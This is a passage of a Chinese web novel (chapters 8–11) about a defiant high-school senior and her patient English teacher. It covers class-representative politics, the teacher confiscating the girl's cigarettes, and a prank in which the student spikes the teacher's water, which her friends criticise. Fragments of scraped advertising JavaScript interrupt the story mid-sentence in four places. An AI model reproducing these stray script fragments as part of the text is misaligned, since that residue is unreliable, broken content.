“那我呢?”陈沐禾指了指自己,“你为什么要和我绝交?” 江暖自知理亏,清了清嗓子,“你在那又是挤眉弄眼又是咳嗽,害我被老师挖苦!” 陈沐禾顿时哑巴吃黄连有苦说不出,沉默了好几秒,拍了一下桌子,“大姐,当时宋宋就在你边上站着,你还想让我怎么提醒你啊!” 江暖被她突如其来的动作吓得一怂,无理取闹,“你就直接喊老师来了,我还能怕她不成?” “行行行!”陈沐禾气笑了,点头哈腰,“下次我就扯着嗓门喊。” “倒也不必大声喊…”江暖红唇翕动,“我不和你绝交行了吧,这事过了!” “我谢谢你。”陈沐禾将手搭在江暖肩上,挑眉,“我发现你的确和姓宋的八字不合。” “嗯?”江暖不明所以。 陈沐禾一本正经的答疑解惑:“你看她才来了三天,你就把前十七年没出过的糗全出了。” 话音一落,江暖像被踩中尾巴的猫,瞬间炸毛,双手掐着陈沐禾的脖子,“陈沐禾!!” 杀气四起,陈沐禾挣脱颈间束缚,忙不迭道歉,“哎呀,我错了,我错了…” 叮—— 历史老师在上面讲得天花乱坠,江暖单手撑着下巴,半梦半醒间眼前浮现宋晚秋趾高气扬的模样。 她想,绝不能再这样坐以待毙了。 琢磨了一节课,终于让这人想出了对策。 一下课,江暖将脑袋塞进桌兜里,撅着屁股疯狂扒拉,旁边的陈沐禾疑惑,“你干嘛呢?” 不一会儿,江暖将几本全新的历年高考真题拿出来,目光灼灼,“我要报仇雪恨!” 陈沐禾盯着桌上的书夸张的啊了一声,“你睡懵了还是被魂穿了?怎么突然要发愤图强!” “你想多了。”江暖抱着书站起身,“我要让它们重见天日,发挥自身的最大价值。” 陈沐禾挠挠头,一脸懵的跟在江暖身后,只见江暖走到第一排的位置,将书放在英语课代表桌上。 江暖站了半天没人搭理她,敲了敲桌子。 听到响声,英语课代表王亚楠依依不舍的从题海里抬起头,见来人是江暖,紧张的滚了滚喉咙,小声问:“怎么了?” 随着她抬头的动作,江暖眼尖的看到了王亚楠校服领口的血迹,疑惑的侧头看向她的脖颈。 王亚楠忽地偏头阻隔住对方探究的目光,又小声问了一遍:“你找我有事吗?” 江暖收回视线,傲慢的双臂环胸,冲桌上的几本书努了努嘴,“这些书送你了。” “啊?”王亚楠茫然的盯着桌上的书。 王亚楠父母早亡,只能靠奶奶四处打工维持生活,因着家境贫寒,所以她拼了命的学习,想以此改变命运。但她又不想奶奶太辛苦,所以能不买练习册就不买,每次都是借同学的复习资料手抄。 而且因为家庭原因,王亚楠有点自卑,在班里除了收作业平时很少和同学说话,因此班里的人都不太愿意和她玩。 加上江暖是班里出了名的“恶霸”,同窗这些年她每次大老远看到江暖就绕着走,之前被选中当课代表的时候她战战兢兢,生怕对方会找她麻烦。 幸好江暖从来不交作业,而之前的英语老师也不管这人有没有交作业,正好省得她冒死去收作业。 仔细想想,这还是她们第一次说话,她一时不明白江暖为什么要送书给自己。 王亚楠咬了咬牙,问:“为什么?” 江暖见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对方一副如履薄冰的模样,好像自己是会吃人的狼似的,眸光黯了一下,“我想找你帮个忙!” 王亚楠闻言警惕起来,脑海里想了一大堆违法乱纪的事,磕磕绊绊的问:“你要我做什么?” 江暖一脸严肃,一字一顿的说:“卸任英语课代表。” “为什么?”王亚楠与陈沐禾同时问出口。 江暖阴沉着脸,勾唇一笑,陡然拔高的语气里带着显而易见的威胁意味,“想必你也发现了我和英语老师有仇。虽然我不想为难你,但在她身边的人全是我的仇人,所以…你懂我的意思吧?” “啊?”王亚楠想了想,木讷地点着头,“我会辞去课代表!”顿了顿,抿唇拒绝:“不过这些书你还是拿回去吧。” “我送出去的东西概不回收!”江暖忽地伸出手,拍了拍对方塌着的肩膀,压低的语气里带着一丝笃定,“我不喜欢看书,所以这些书送给你也算是实现了它们的价值,你不用不好意思。好好复习,我相信你一定可以考上京大。” 虽然王亚楠很努力,但成绩却平平。 夜深人静,学习累的喘不过来气的时候,她曾多次怀疑自己到底能不能考上大学。 此时此刻,突然听到来自同学的鼓励,她一时有点感动,红着眼眶,“谢谢你。” 江暖摆摆手,“记得去找宋晚秋。” “你为什么要逼王亚楠卸任啊?”陈沐禾亦步亦趋的跟在江暖身后,眸中盈满不解。 江暖扭头看了一眼讲台,磨牙,“我要让宋晚秋在班里孤立无援,没人帮她跑腿看她还能神气多久。” 陈沐禾想也不想,“可是就算王亚楠不干课代表了,还有其他同学会干啊!” 江暖抬眸望向教室里窃窃私语的同学,不屑的冷哼一声,“刚才我的那番话说完,你觉得谁还敢干?” “你这样是不是有点…” 看到对方欲言又止的看着自己,江暖心下了然,眉梢一抬,“你想说什么?” “没什么,没什么!”陈沐禾叹了口气,“你和宋宋的恩怨我不参与,我保持中立。” 江暖深知这人有投敌风险,“你最好是!” 高三教研组办公室。 王亚楠低垂着头,两只手紧揪着衣角,“老师,我不想当课代表了。” 宋晚秋愣了一下,担忧道:“怎么了?” 王亚楠全程低着头,不敢直视老师眼睛,支支吾吾的解释道:“高三学习时间太紧张,我想多点时间刷题…” 说完,猛地弯下腰,对着宋晚秋鞠躬,“对不起,老师!” “这样啊。”宋晚秋馋扶起她,笑了笑:“没关系的,你不要有思想负担,安心复习。但也要注意劳逸结合。” 王亚楠如释重负,“知道了,谢谢老师。” 翌日下课后,宋晚秋罕见的拖堂,环视阶下,浅浅一笑,“老师有个事情需要耽误大家几分钟时间,有没有同学愿意当英语课代表呢?” 讲台下的同学们默契的望向教室后排靠窗的位置,下一秒转回头,然后全部低下头。 9. 第9章 教室里,瞬间如坟地般死寂。 宋晚秋疑惑的看向窗边,发现江暖懒洋洋的靠在椅背上,白皙的脖子仰的老高,一副老神在在的看戏模样。 宋晚秋后知后觉的明白了什么,无奈的在心底叹了口气,眸光一转,“既然没有同学愿意毛遂自荐,那老师就自己选了哦。” 底下的同学们屏住呼吸,生怕被老师选中。 更怕被江暖报复! 虽然迄今为止江暖从未打过同学,但是她连老师都敢怼,打同学也是情理之中的事。所以大家即使再喜欢宋老师,权衡之下还是默默的选择了明哲保身,不敢轻易站到江暖对立面。 宋晚秋环顾四周,装作不经意的将目光落在江暖身上,纤手一指,“就你了,江暖。” 江暖:??? 江暖俨然没想到宋晚秋会选成绩最差的自己当课代表,更没想到自己打的如意算盘会崩到自己身上,站起身,抗议,“我不干!” “理由!”宋晚秋拿起教案,声音淡淡的。 江暖言简意赅,“我没空!” 宋晚秋哦了一声,意有所指,“可是据老师观察,整个班里最有空的人应该就是你了吧。” 江暖:…… “我不干,谁爱干谁干!”江暖气的脑仁疼。 讲台上的宋晚秋选择装聋作哑,双手举在胸前边鼓着掌边自顾自的说:“同学们,来,让我们掌声鼓励一下英语课代表—江暖同学。” 话落,教室里响起雷鸣般的掌声。 江暖双眸发紧:!!! “好了,不耽误大家时间了,休息吧。”宋晚秋肩背挺直的离开教室。 噗嗤——— 哈哈哈哈… 偷鸡不成蚀把米的江暖听到耳边刺耳的哄笑声,怒目圆睁,“你们在笑什么?” 林洛扶着桌边,笑得腰都直不起来,陈沐禾双手搓了搓笑僵的腮帮子,“嗯,的确没人敢当英语课代表,但是你敢啊!” 江暖算是切身体会到什么叫搬起石头砸自己的脚,仰天长叹,“姓宋的真克我!!!!” 漫长又煎熬的开学周终于结束。 周六下午放学,因江知云出差还没回来,江暖便自己去商场找了家餐厅吃饭。 餐厅里,江暖看着三三两两的人,从书包里取出耳机,戴上耳机,一脸寡淡的独自用餐。 吃完饭还不到八点,天色尚未完全暗去,天边还残留着一抹淡淡的晚霞,像是给城市的天际线镶上了一道绚丽的金边。 路灯已经亮起,昏黄的灯光洒在街道上,与晚霞的余晖交织在一起。 街道上行人来来往往,马路上的车辆川流不息,汽车的喇叭声、摩托车的轰鸣声与街头的欢声笑语融合在一起。 江暖站在路边,旁观着喧嚣。这些热闹是属于别人的,不是她的。 想到回家也是自己一个人呆着,江暖便漫无目的的在街上闲逛,人潮汹涌的街头,只有女孩像是一个迷失在荒野中的旅人。 在路过一家便利店,江暖走了进去。 昏黄的路灯下,江暖静静地站在街边,没有焦距地望着远方,指尖夹着一支香烟。 街上车水马龙,人来人往,可她却仿佛置身于一个无人的孤岛。 红灯,宋晚秋单手把着方向盘,偏头看向车水马龙的街边。 忽地,她的目光定在路灯旁。 繁华喧嚣的街头,女孩的身影被路灯拉得长长的,显得有些单薄,微低着头,一缕缕青烟从她指尖的香烟缓缓升起,在她面前缭绕。 女孩消瘦的侧脸在烟雾中若隐若现,眼睛里透着一种无法言说的空洞和落寞。 宋晚秋不由自主的拧起眉,心里起了皱褶。 绿灯亮起,耳边传来此起彼伏的滴滴声。 宋晚秋轻踩油门,启动车子。 “成年了吗?就抽烟!”宋晚秋将江暖指尖的烟夺走,掐灭,扔进垃圾桶,朝她伸出手,“其他烟呢?” 指尖一瞬落空,江暖愣住了,抬眸看向面前的女人,语气不善,“怎么哪哪都有你啊!” “废什么话!其他的烟呢?”宋晚秋视线上下打量着江暖,看到她上衣兜里露出一小截烟盒,径直上手掏出烟,“没收!” 对方手下的动作一气呵成,江暖慢半拍的反应过来,控诉,“光天化日,你打劫学生啊!” “难为你还知道自己是学生呢!”宋晚秋将烟装进西裤兜里,“小小年纪抽什么烟!” 江暖皱着眉头,声音紧绷,“还给我!” “毕业后还给你。”宋晚秋想到刚才女孩落寞的身影,不自觉放柔声音,“如果毕业后你还想抽烟,到时候再来找老师要。好吗?” 江暖翻了个白眼,神情冷冷淡淡,“毕业后谁还愿意看见你啊!” 宋晚秋眉梢一抬,“那可不一定,大多数学生毕业后都会很想念老师。” 江暖一想到毕业后还要想起这人,一阵头皮发麻,声音忍不住提高起来,“那是别人,我绝对不会想念你。” 宋晚秋愣住,透出一丝苦笑声,“行吧。” 江暖朝她伸出手,不依不饶的说,“请你现在、立刻、马上把我的东西还给我。” 宋晚秋无奈,这小破孩怎么这么犟。 她侧身从背包里翻出一百大洋,塞进江暖手里,“这样吧,这烟算我买了。” “拿走,谁稀罕你的臭钱!”江暖将钱扔给宋晚秋,嘲讽出声,“宋老师,我发现您的脸皮是真的厚!难道看不出来别人很讨厌你吗?” “谢谢夸奖。” 江暖:…… 江暖懒得和这人聊废话,将身体轻轻靠在路灯上,思考现在是直接回家还是去游戏厅。 宋晚秋侧目看着垂着眼帘,不知道在想着什么的江暖,主动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打破沉默,“怎么这么晚还不回家?一个人站在马路上做什么?作业写完了?” 江暖抬眸冷冰冰地扫了她一眼,抗拒的双手环胸,语气轻蔑又防备,“现在是放学时间,我在哪儿,干什么,你管得着吗?” 宋晚秋再度被噎住,脸上都是讶异和难堪。 她突然觉得自己将车停在路边,冒着被交警贴罚单的风险来安慰这个小家伙有点不划算。 算了,谁让自己是她的老师呢! 宋晚秋抬手捏捏眉头,耐着性子说,“老师没想管你,只是觉得你这么晚不回家,父母会担心的。” 话落,江暖眼神一瞬暗淡,默默不言。 宋晚秋暗暗叹口气,温柔的声音里带着宠溺意味,“你住哪儿?老师送你回去?” “用不着!”江暖扭头,毫不犹豫的走了。 宋晚秋站在原地盯着她的背影,哭笑不得。 她不知道自己是哪儿惹到这小孩了,每次两人一见面就火药味十足。据她这些天观察,这小孩对其他老师也没这么凶啊! 半小时后,江暖推开家门,客厅里那张大沙发在空旷的空间里显得格外巨大,墙上的挂钟滴答滴答的声音在寂静的房间里显得格外响亮。 它们仿佛在无声地吞噬着房间里的生气。 她没有开客厅大灯,而是打开落地灯,随后坐在地毯上,打开电视,随便播放着综艺,想让屋子里有点声音。 墙角的落地灯孤零零地立着,昏黄的灯光只能照亮脚下一小块地方,周围的黑暗像是要将趴在沙发边睡着的江暖吞没。 周日中午,林洛和陈沐禾约江暖吃饭。 许洛带着两人来到肯德基,非常豪横的点了三个全家桶加三大杯加冰可乐。 陈沐禾和江暖想到林洛父母一向对林洛穷养的作风,警惕的瞪大眼,“你哪来这么多钱?” 林洛翘着二郎腿,啃着金灿灿的鸡翅,“当然是想办法搞的了。” “你又偷卖你爸烟了?”陈沐禾瞬间觉得手里的炸鸡腿不香了,放下鸡腿,一脸愁容,“要是被你爸发现,你的屁股又要开花了!” “不会的。”林洛笑得没心没肺,“一周没回家我发现我爸又攒了半柜子的烟,而我就只偷了其中的一条,他肯定发现不了。” “你说的有点道理哦,烟很多的话少了一条就没那么明显了。”陈沐禾重新拿起鸡腿,“那我可就安心吃了。” 林洛点点下巴,“吃吧吃吧,而且被发现屁股开花的是我又不是你。莫慌!” 林洛发现江暖整个人陷入诧异的沉默,不明所以的眨眨眼,“暖宝,你发什么呆啊?我俩可是专程跑出来陪你吃饭的。” 听她们提到烟,江暖叹了口气,“昨晚我在马路上抽烟被宋晚秋碰到了…” 陈沐禾啊了一声,鸡腿掉在桌上,顾不得捡鸡腿,板着脸,“你什么时候学会抽烟了!” 10. 第10章 “小声点!那玩意还用学吗?”江暖咬着可乐吸管含含糊糊的说:“大人不开心的时候不都会抽烟吗?我也想试试。” 林洛闻言心疼的看着江暖。 高三要住校,周末好不容易放假,她和陈沐禾的父母早早便做好一桌热菜等着她们回家,然后会分别坐在她们身侧各种嘘寒问暖。只有江暖回家是漆黑一片,连一口热乎的饭都没有。 所以昨天放学,两人使出浑身解数叫江暖去她们家吃饭,但江暖死活就是不愿意去。 林洛知道,江暖是怕面对别人家的温馨,那样会显得她愈发的落寞、孤独和可怜。 林洛给对面的陈沐禾使了个眼色,示意对方小心说话,“那宋老师撞见之后呢?” “她抢走了我的烟!还扔给我一百块钱。”江暖拍了拍桌子,“你说她是不是脑子有大病!谁稀罕她的破钱!” “一包烟一百块?那我岂不是卖亏了!”林洛说完意识到自己的关注点跑偏了,担忧道:“宋老师会不会把这事告诉你妈啊?” “不会。”江暖想也不想的答。 “你怎么知道?”陈沐禾眨巴眨巴眼,“她克你啊。这么好的告状机会她怎么会放过。” 江暖不自在的抿了抿唇,语气敷衍,“虽然她人品不好,但应该不是一个喜欢告状的人。” 因为她和其他老师不一样。 林洛哦哦两声:“那就好。这事要是让你妈知道她肯定又要扣你零花钱。” 江暖从全家桶里拿起一个鸡翅,饶有兴致的抬了抬眉梢,“我妈知道也没事啊。这不是还有你偷烟卖钱养我吗?” “去你的。”林洛见她笑了,轻声劝:“抽烟对身体不好,所以我才偷我爸烟的。你以后也别抽烟了,心情不好,我俩可以来陪你啃鸡翅。” 江暖漫不经心的点点下巴,“知道了。而且我的烟都被宋晚秋抢走了,我还抽什么!” 一根鸡腿下肚,陈沐禾砸吧砸吧嘴,“人宋宋不是给你钱了吗?也不算抢吧!” 江暖啧啧两声,语气酸唧唧的,“你还说会保持中立,你现在又替你的宋宋说话。” 陈沐禾从自己的全家桶里拿出一个鸡腿,依依不舍的放进江暖的全家桶里。 “虽然我在替宋宋说话,但我会把心爱我的鸡腿给你。所以我爱的还是你。” 林洛笑笑,也分给江暖一个鸡腿,“我最爱的也是你。” “你俩肉麻死了。”江暖故作嫌弃。 高三的周末就像是手中握着的一把细沙,还未握紧,沙子就已经从指缝间溜走。 开学第一周的周末就这么转瞬即逝,她们又投入到紧张的学习周中了。 周一,高三六班教室。 “暖宝,你快看。”陈沐禾趴在窗子上喊。 “怎么了?”江暖将脑袋凑到她跟前,和她一起看向校门口的方向。 只见从校门口进来一个戴着黑色头盔,骑着红黑相间像一头猎豹的机车的女人。 女人潇洒自如地穿过校园的小径,机车发出低沉的轰鸣声在静谧的校园中回荡,引得不少学生侧目。 当机车靠近停车位时,女人用右脚稳稳地撑住地面,同时身体向一侧倾斜,然后将机车轻巧地停稳,就像把一片羽毛轻轻放在地上一样。 最后,她长腿一跨利落地从机车上下来,动作如同完成了一场精彩表演后的谢幕。 “哇,她好酷啊!”陈沐禾头靠在窗上,“也不知道是哪个班的老师,这么帅!” 江暖认识这车,而且记忆深刻,毕竟是喷了自己一身车尾气的限量款,想忘都难! 她嘁了一声,“这有什么可酷的。” 江暖瞪了一眼没出息的两人,倏地想到当时自己也是这样眼巴巴的期待着女人摘下头盔。 算了,大家都没出息。 停好车,宋晚秋摘下手套,纤细的手指伸到头盔的卡扣处,轻轻一按,“咔哒”一声,仿佛是打开了一个神秘世界的锁。 随后,她双手握住头盔的两边,手臂向上轻轻一提,那头盔便如同一只听话的贝壳从她头上被剥离。 她朝着教学楼的方向甩了甩头,被头盔压得有些变形的头发瞬间松散开来,如同黑色的绸缎在风中飘舞。 女人的脸庞从头盔的遮蔽下完全展露出来。 陈沐禾激动的发出尖叫,“我去,居然是宋宋啊!啊啊啊啊!她好飒啊!我更爱她了!” 林洛狂点头补充:“又美又飒。” “聒噪!”江暖用手掏了掏耳朵,“不就是破机车嘛,谁不会骑似的。在学校里骑机车,她这人还真是爱显摆。” 林洛:“你怎么酸唧唧的?” “我酸个锤子!”江暖愤愤道:“等我高考结束就去考证、买车!我会做个文明骑手,绝对不会往别人身上喷车尾气。” 化身宋晚秋迷妹的陈沐禾趴在窗子上,“就像我家宋宋一样,你看她刚才还礼让行人…” “我绝对不会像她一样!” 江暖眼瞅着缺心眼的陈沐禾越陷越深,整天宋宋长,宋宋短,和追星的狂热粉似的,突然很想告诉她宋晚秋的真实面目。 犹豫半晌,终究还是没说! 罢了,给姓宋的留点面子吧。 早读结束,第一节课是英语课,不出意外江暖照旧是睡的昏天暗地,而宋晚秋照旧不留情面的将她发配到教室后面罚站。 下课,作为课代表,江暖被安排收试卷。 即使心里有一万个不情愿,她也得骂骂咧咧的干活。 高三教研组办公室。 江暖将一沓试卷放在宋晚秋桌上,发现对面的老班捧着水杯,正虎视眈眈的盯着自己,抿了抿唇,“老师,试卷收好了!” 埋首刷题的宋晚秋听到动静,略带诧异的抬眸看向混世小魔王江暖。 咦,这小孩今天怎么这么乖! 当她发现江暖眼神时不时地瞟向对面许嘉的工位,心下了然,有点好笑的弯了下唇角。 宋晚秋抬手大概翻了翻试卷,果不其然没找到某人的试卷,她看向江暖,“你的卷子呢?” “没交。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “为什么不交?” “不会。” 宋晚秋盯着理直气壮的人看了好一会儿,上挑语调,“不会?上周你不是考了个三八吗?” 江暖拧起眉,目光探究看着宋晚秋。 对上对方唇角微扬起的弧度,她合理怀疑这人是在用博大精深的文字羞辱自己。 江暖站在原地,捏紧拳头,脸色难堪,“是三十八分,不是三八!” “有区别?” “你自己心里清楚有没有区别。”江暖懒得和这人废话,“快上课了,我先回教室了。” “等等…”宋晚秋喊住着急开溜的江暖,将桌上的空水杯递给她,“去帮老师接杯水。” “凭什么?”江暖当课代表本就气不顺,梗着脖子,呛人,“你自己没长手吗?还是手残了?” 习惯被呛的宋晚秋神情和情绪一样稳定。 咳咳咳—— 反倒是默默监视着江暖的许嘉被她这句话气的急火攻心,猛烈地咳嗽起来,左手叉着腰,右手颤颤巍巍地指着江暖,嘶哑着嗓子。 “你…你怎么和老师说话呢!” 江暖一看老班全然一副要开骂的姿势,她不太想在宋晚秋面前被训的和弱鸡似的。 太丢面! 趁着被呛到的老班大喘气的间隙,江暖手疾眼快地拿过杯子,咬牙切齿的说:“尊敬的宋老师,我这就去给您接水!” “嗯,辛苦了。”宋晚秋礼貌的笑了笑,丝毫没介意她刚才的无理。 江暖一溜烟跑出办公室,许嘉还在狂咳。 宋晚秋起身,走到许嘉身边,轻轻拍打她的后背,关心道:“许老师,你没事吧。” 许嘉摇了摇头,手拍着胸脯,“这个小混蛋太没礼貌了,简直目无尊长…” “不碍事,本就是我在麻烦她。”宋晚秋想到江暖刚才的小怂样,笑笑:“看来所有老师里也就只有你能震慑住她了。” 许嘉摇头,叹了口气,“你看她那样,我哪儿能管得住她啊,她是害怕我告诉她妈。” 宋晚秋哦了一声,想到什么,“你不是说她妈妈并不在意她的学习吗?” “是啊!”许嘉想到上次江暖妈妈来学校教育江暖的方式,老神在在的笑了一下,“但是只要她闯祸她妈就会扣光她的零花钱。你说,谁能和钱过不去呢?” 宋晚秋闻言不由皱起眉。 这时,江暖敲门进来,将接满水的水杯放在宋晚秋办公桌上,双手叉腰放在下腹部,毕恭毕敬的模样,“老师,您的水接好了!” 宋晚秋点点下巴,“谢谢,回去上课吧。” 吃完午饭,江暖躺在床上越想越气,逼着她当课代表也就算了,现在居然还敢让她当跑腿的苦力! 过分!简直太过分了! 忍一时风平浪静,退一步越想越气。 江暖气到呼吸不畅,翻来覆去睡不着,在脑海里琢磨着如何报仇雪恨,一雪前耻! 忽地,灵光一现,江暖蹭的一下从床上爬起来,拿起校服外套跑出宿舍。 11. 第11章 学校超市,江暖仔细的在货架上翻找,找到想买的东西时,整个人肉眼可见的兴奋起来。 下午语文课,陈沐禾发现江暖趴在桌上做试卷,凑近看了一眼,震惊地瞪大眼,“你怎么在做英语试卷啊?午休时又被魂穿了!” “去你的,我知道你屁股上有颗痣。”江暖奋笔疾书头也不抬,胡诌,“我怕我再不写,晚自习又被压去办公室!” “这就对了嘛,多一事不如少一事。我说真的,你别和宋宋对着干了,她又美又飒…” 江暖不耐烦的打断同桌,“闭嘴!别给我安利她,我非常非常讨厌她!” “额,我也没给你安利啊…”陈沐禾委屈地扁了扁嘴,“你有没有发现你最近快凶死了!” “有吗?”江暖笔一顿,好像是有点。 哎,都怪讨厌的宋晚秋! 夕阳西下,校园宛如被罩上了一层梦幻的薄纱。操场边茂密的枝叶在夕阳下绿中泛黄,斑驳的树影在地上拖得长长的。红色的跑道在夕阳下像是一条燃烧的丝带。 江暖吃完晚饭,特意踩着晚自习铃响起前赶到宋晚秋办公室,趴在门缝上鬼鬼祟祟的观察了半天,凶悍的老班果然不在。 她很有礼貌的敲了敲门,听到“请进”后大步走了进去,将试卷放到办公桌上,“老师,我来交卷子!” “嗯?”宋晚秋垂眸盯着自己面前密密麻麻的试卷,诧异的看向江暖,“怎么又会做了?” 江暖垂手站在那里,看着乖乖的,眨巴眨巴大眼睛,意有所指,“您不是让我蒙嘛。” 宋晚秋:…… 江暖暗戳戳地瞥了一眼桌上的空水杯,主动请缨,“老师,我去帮您接杯水吧?” 宋晚秋愣了几秒,“啊?哦,谢谢…” “不客气。”江暖人畜无害的笑了笑,拿起水杯,跑了出去。 宋晚秋一瞬不瞬的盯着门口的方向,丈二摸不着头脑,这是什么情况? 不一会儿,江暖捧着水杯走了进来,宋晚秋伸出手想接过水杯,不料却被江暖侧身避开。 “老师,我帮您拿着吧。” 宋晚秋缓慢地哦了一声,“谢谢!” 预备铃响起,两人一起走出办公室。 空无一人的走廊里,宋晚秋偏头看着身侧异常乖巧懂事的女孩,试探地问:“江暖,你是遇到了什么事吗?” “没有啊!”江暖懒懒抬了抬眼,语气平淡,“老师怎么这么问?” 宋晚秋轻摇头,“没什么…” 两人一前一后走进教室。 宋晚秋一手撑在讲桌边上,一手捏着一根粉笔,“同学们,把课本翻到第23页…” 陈沐禾挪了挪屁股,用笔戳了戳江暖,凑近与她交头接耳,“你怎么和宋宋一起来的?” “交试卷碰上了。” “那你为什么帮她拿水杯?” 江暖撑着脑袋,眸光黯了一瞬,勾起一抹神秘的笑,“待会儿你就知道了。” 京北的夏天,燥热得像个大火炉,空气里仿佛被抽干了水分,干燥得厉害。 宋晚秋讲到中途,感觉嗓子就像久未逢甘霖的旱地,干得都快冒烟了。 她下意识地伸手去拿水杯,这动作早已成了一种习惯,仿佛那水杯里的水是此刻能拯救她的唯一甘霖。 讲台下的江暖身子往后仰着,吊儿郎当坐在椅子里,铁皮腿儿的椅子前面两根悬空,后面两根着地,跟随着她的动作慢悠悠地一晃一晃的。 虽然女孩的坐姿似是一只慵懒的小奶猫,可她的目光却像是锁定猎物的小兽,死死盯着讲台上的宋晚秋。 尤其是当她看到宋晚秋扬起脖颈,准备喝水的那一刻,她漆黑的瞳孔里闪过一丝不易察觉的兴奋。 终于,她如愿看到宋晚秋喝了一大口水。 下一秒,只见讲台上女人精致的五官瞬间拧作一团,就像一朵原本娇艳盛开的花朵,突然遭受了暴风雨的侵袭。 女人右手紧紧握着水杯,指节有些泛白,像是在极力忍受着什么。 江暖在心里暗自窃喜,好整以暇的等着看宋晚秋在全班同学面前出糗。 可她没想到,宋晚秋喉咙上下一滑动,居然将那口水尽数咽了下去。 江暖一瞬僵愣住了,整个人像是被人施了定身咒一般,黑眸里满是震惊。 那杯水可是她精心“调制”的。半包盐、半包糖一股脑儿地倒进去,还加了小半管芥末。为了让这些佐料充分混合,她跟个二傻子似的站在水房门口,使出了吃奶的劲儿摇晃着水杯。 按理来说,那些佐料早被融化得彻彻底底。 宋晚秋竟就这么面不改色地咽下去了?! 啧,看来她不只没心,还没有味觉! 宋晚秋将杯子稳稳地放在讲桌上,淡淡扫了一眼江暖,面色平静地看着讲台下的同学,声音有点哑,“老师有事出去一下,你们先自习。” 说完,便大步流星的走出教室。 江暖直勾勾地盯着女人镇定自若的背影,陈沐禾拍了拍她的胳膊,好奇道,“你还没告诉我为什么会帮宋老师拿水杯呢。” 江暖侧过身,一脸得意的将自己的杰作一五一十的告诉陈沐禾与林洛。 听完她的恶作剧,脾气一向温和的林洛罕见的生气了,“暖宝,你有点过分!” “而且是非常过分!”陈沐禾拧眉,“我说刚才宋宋的声音听着怎么怪怪的!” 江暖不以为然的把玩着手中的钢笔,“嗤”地一声,“谁让她使唤我跑腿的!” 林洛瞥了江暖一眼,声音严肃道:“不管怎么说,你整蛊老师都是不对的!” 江暖听出两位好友都在向着宋晚秋说话,忽地将夹在指尖的笔扔在桌上,“啪嗒”一声,“所以她欺负我就对了?” 林洛目光直视着江暖,语气真诚:“你扪心自问,宋老师有恶意针对过你吗?是你上课睡觉和不写作业在先,她只是做了一名老师该做的而已!” 被数落的江暖愣在原地,好半天没说出话。 半晌,她非常不耐烦的“啧”了一声,“所以你的意思是我这个人不知好歹,我心坏呗?” “我可没那么说!就事论事而已!” 陈沐禾眼瞅着画风不太对,急忙出声,“你俩别吵架啊!” 两人异口同声:“我没和她吵架!” 江暖转回身,皱着的眉始终没松开,垂眸盯着桌上的英语书,紧绷着声线,“好,这事算我做的不对,行了吧!” 林洛淡漠道:“你该道歉的人不是我!” “你有完没完了!”江暖踹了一脚桌子,表情阴沉,“你今天非要为了宋晚秋和我吵架吗?” 后排发出砰的响声,教室里一片安静,所有人的视线都跟着看过去。 陈沐禾拍了拍江暖剧烈起伏的胸口,又扭头给了林洛一个“差不多行了”的眼神。很大声的咳嗽了两声,“你俩都少说两句!先冷静冷静!” 办公室。 宋晚秋眼角泛着红,急匆匆地拿起一次性杯子,快步走到饮水机前,接了满满一杯水,然后仰起头,“咕噜咕噜”一口气全喝了下去。 喝完还是觉得嗓子眼像有一团火在烧,于是又接连喝了三满杯水。 此刻,她总算明白江暖为什么那么反常了。 果然,事出反常必有妖。 这小破孩,干坏事时脑袋瓜还挺灵光! 大约过了十分钟,宋晚秋像是什么事都没发生过一样,回到教室继续讲课。 要不是她眼角还染着一抹淡红,江暖都要怀疑自己买的那些调味品是不是早就过期了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江暖算是发现了,宋晚秋情绪真稳定。这事要是搁在其他老师身上,估计早就连夜打电话叫家长了。 整整一节课,宋晚秋看都没看江暖一眼。 江暖面无表情的随手翻着书,以后宋晚秋应该不会再多管闲事了。 真好,她终于不用再站着上课了! 然而,她低估了宋晚秋的敬业精神。 接下来的几天,她不仅每天站在教室后面听课,而且每晚的最后一节自习课都被扣在宋晚秋的办公室做卷子,而且是站着做题。 自从水杯事件后,宋晚秋越来越变态了。 又是一个燥热的夜晚,江暖被宋晚秋压到办公室补做试卷。 天干物燥,昏昏欲睡。 女孩整个人带着一种沉闷的,压抑的烦躁。 在手中的笔第三次掉到地上时,饱尽折磨的江暖终于忍无可忍的爆发,扭头恶狠狠地瞪着宋晚秋,“你对我有意见,能不能玩明的?天天滥用职权压榨我,有意思吗?” “哟,还知道玩明的呢?”宋晚秋在忙着批改试卷,头都没抬,“老师大半夜不回家,留在学校监督你学习,是在压榨你?” 江暖蓦然转过身,将手里的四张卷子一股脑全扔在地上,拔高声音怒喊:“你成天逼着一个不愿意学习的人学习就是在压榨!不对,你是在霸凌!!” 宋晚秋哦了一声,伸出左手拉开抽屉,从里面抽出一张崭新的A4纸和一支中性笔,递给一脸幽怨的江暖。 喊的嗓子干巴的江暖滚了滚喉咙,“干吗?” 宋晚秋百忙之中偏头瞥了她一眼,“你不是说我在霸凌你吗?我给你提供纸笔,方便你向学校写举报信啊。” 江暖后退小半步,拒绝接纸笔,眼神冷飕飕的,“呵”了一声,“我才不会像你们老师一样成天只会告状!” “哦,既然不想检举那你就快点做题!”宋晚秋将纸和笔放到江暖手边,继续改试卷。 “对了,口渴的话桌上有一次性杯子,自己去接水喝。”顿了一下,她勾唇浅笑,“我怕我给你接的水,你不敢喝!” 回旋镖正中脑门的江暖:…… “你这种人到底是怎么当上老师的!”江暖目光上下打量了着宋晚秋的衣着打扮。 虽然这人平时穿的很低调,但江暖还是一眼认出她从头到脚都是奢侈品牌。 毕竟江女士是这些品牌的SVIP。 “你这工作该不会是花重金买的吧?”江暖自顾自的下判断,“以你的教学水平,绝对是买的。” 这小孩说出来的话总让人火气蹭蹭往上窜。 宋晚秋沉默了几秒,没说话,缓慢地勾起唇角,又递给女孩一张A4纸,看着从脚底板到头发丝儿都写满了挑衅的少女。 “这张纸方便你给教育局写检举信。” 宋晚秋的眼神很平静,但平静中好像又透露出了一股不屑,好像在说“有本事你就去告”! 